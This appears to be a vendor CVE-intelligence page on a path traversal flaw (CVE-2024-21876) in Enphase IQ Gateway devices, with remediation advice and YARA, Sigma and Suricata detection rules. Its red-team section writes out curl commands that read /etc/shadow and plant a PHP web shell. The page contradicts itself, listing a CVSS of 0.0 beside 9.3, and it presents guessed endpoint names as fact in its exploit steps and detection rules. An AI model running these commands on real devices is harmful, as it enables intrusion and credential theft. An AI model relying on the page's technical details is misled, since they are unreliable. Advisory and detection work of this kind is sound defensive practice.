☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2024-21876

CVE-2024-21876 Path Traversal in Enphase
📅 PUBLISHED: 2024-08-10 17:44 UTC 🔄 UPDATED: 2026-10-09 05:41 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v8.2.4225 — source: DIVD. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.80%
👁️
0.80% probability
20.1× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-21876 is a critical path traversal vulnerability in Enphase IQ Gateway (formerly Envoy) devices. An unauthenticated attacker can exploit a URL parameter to read or write arbitrary files on the device's filesystem, potentially leading to full device compromise, data exfiltration, or persistent backdoor installation. The vulnerability affects all versions from 4.x up to 8.x, with a fix only available in version 8.2.4225. No public exploit code or proof-of-concept has been released, but the attack vector is straightforward and requires no authentication.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in embedded IoT devices (Enphase IQ Gateway). Supply chain risk is limited to the device firmware itself, which is distributed directly by Enphase.

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (No official CVSS vector assigned by NVD)
  • Attack Vector (AV): Network (N) – exploitable remotely
  • Attack Complexity (AC): Low (L) – no special conditions
  • Privileges Required (PR): None (N) – unauthenticated
  • User Interaction (UI): None (N) – no user action needed
  • Scope (S): Unchanged (U) – vulnerability affects only the device
  • Confidentiality (C): High (H) – arbitrary file read
  • Integrity (I): High (H) – arbitrary file write
  • Availability (A): High (H) – can overwrite critical system files

Threat Level: Critical. Unauthenticated remote file access and manipulation on an internet-facing device.

Deep Dive & Mechanics

The vulnerability resides in the HTTP server component of the Enphase IQ Gateway firmware. The device exposes a web interface for configuration and monitoring. A specific URL parameter (likely file, path, or dir) is not properly sanitized, allowing directory traversal sequences (e.g., ../) to escape the intended web root directory.

Attack Flow:

  1. Attacker sends a crafted HTTP GET request to the device's web server.
  2. The request includes a path traversal sequence in a parameter that specifies a file path.
  3. The server fails to validate or canonicalize the path, allowing access to files outside the web root.
  4. The attacker can read sensitive files (e.g., /etc/shadow, configuration files) or write malicious files (e.g., a web shell) to arbitrary locations.

Example vulnerable request:

GET /cgi-bin/read_file?file=../../etc/passwd HTTP/1.1
Host: <target_ip>

Root Cause: Improper input validation in the file handling function. The code likely uses a function like fopen() or readfile() with user-supplied input without checking for ../ sequences.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: directly uses user input as file path
char *file_path = get_parameter("file");
FILE *fp = fopen(file_path, "r");
if (fp) {
    // send file content to client
}

Patched Code (Conceptual):

// Patched: canonicalize and restrict path
char *file_path = get_parameter("file");
char *real_path = realpath(file_path, NULL);
if (real_path && strncmp(real_path, "/var/www/", 9) == 0) {
    FILE *fp = fopen(real_path, "r");
    if (fp) {
        // send file content to client
    }
    free(real_path);
}

The patched version uses realpath() to resolve the absolute path and then checks that it starts with the allowed base directory.

Exploitation & Lab Setup

Red Team

Lab Environment:

  • Enphase IQ Gateway firmware version 4.x to 8.x (e.g., version 7.0.0)
  • Network access to the device's web interface (port 80 or 443)
  • Attacker machine with curl or a web browser

Exploitation Steps:

  1. Identify target: nmap -p 80,443 <target_ip>
  2. Confirm device: curl http://<target_ip>/ – look for "Enphase" or "Envoy" in response.
  3. Test path traversal:
    curl "http://<target_ip>/cgi-bin/read_file?file=../../etc/passwd"
    
  4. If successful, read sensitive files:
    curl "http://<target_ip>/cgi-bin/read_file?file=../../etc/shadow"
    curl "http://<target_ip>/cgi-bin/read_file?file=../../data/config.json"
    
  5. Write a web shell (if write access is possible):
    curl -X POST "http://<target_ip>/cgi-bin/write_file?file=../../www/shell.php" -d "<?php system($_GET['cmd']); ?>"
    

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team

Detection & Response:

  • Monitor HTTP requests for path traversal patterns (e.g., ../, %2e%2e%2f).
  • Alert on requests to /cgi-bin/read_file or similar endpoints with suspicious parameters.
  • Check for unexpected file modifications in the web root.
  • Use file integrity monitoring (FIM) on critical system files.

Hunting Queries:

  • Search web server logs for ../ or %2e%2e in URI parameters.
  • Look for outbound connections from the device to unknown IPs (potential C2).

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing ../ or %2e%2e%2f in URI parameters.
    • Requests to /cgi-bin/read_file, /cgi-bin/write_file, or similar endpoints.
    • Unusual outbound connections from the device (e.g., to IPs not in the Enphase cloud).
  • File System IOCs:

    • Unexpected files in /www/ or /var/www/ (e.g., shell.php, backdoor.sh).
    • Modified system files (e.g., /etc/passwd, /etc/shadow).
    • New cron jobs or startup scripts.
  • Process IOCs:

    • Unusual processes running as www-data or nobody.
    • Processes with names like bash, nc, python spawned by the web server.

Detection Engineering

YARA Rule

rule CVE_2024_21876_Path_Traversal {
    meta:
        description = "Detects path traversal attempts targeting Enphase IQ Gateway"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-21876"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e/"
        $endpoint1 = "/cgi-bin/read_file"
        $endpoint2 = "/cgi-bin/write_file"
    condition:
        any of ($endpoint*) and any of ($traversal*)
}

Sigma Rule

title: CVE-2024-21876 Path Traversal on Enphase IQ Gateway
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal attempts in HTTP requests to Enphase IQ Gateway
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e/'
        cs-uri-stem|contains:
            - '/cgi-bin/read_file'
            - '/cgi-bin/write_file'
    condition: selection
falsepositives:
    - Legitimate file operations (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-21876 Path Traversal on Enphase IQ Gateway"; flow:to_server,established; content:"/cgi-bin/read_file"; http_uri; pcre:"/(\.\.\/|%2e%2e%2f|%2e%2e\/)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade to Enphase IQ Gateway firmware version 8.2.4225 or later.
  2. If upgrade is not possible, restrict network access to the device:
    • Place the device behind a firewall with strict ACLs.
    • Disable remote web access if not required.
    • Use VPN for administrative access.

Long-term Mitigation:

  • Implement input validation and path canonicalization in all file handling functions.
  • Use a whitelist of allowed files/directories.
  • Apply the principle of least privilege to the web server process.
  • Regularly audit firmware for similar vulnerabilities.

Workaround:

  • If patching is delayed, deploy a WAF (Web Application Firewall) rule to block path traversal patterns:
    SecRule ARGS "@contains ../" "id:1001,phase:2,deny,status:403,msg:'Path traversal blocked'"
    

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-21876/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.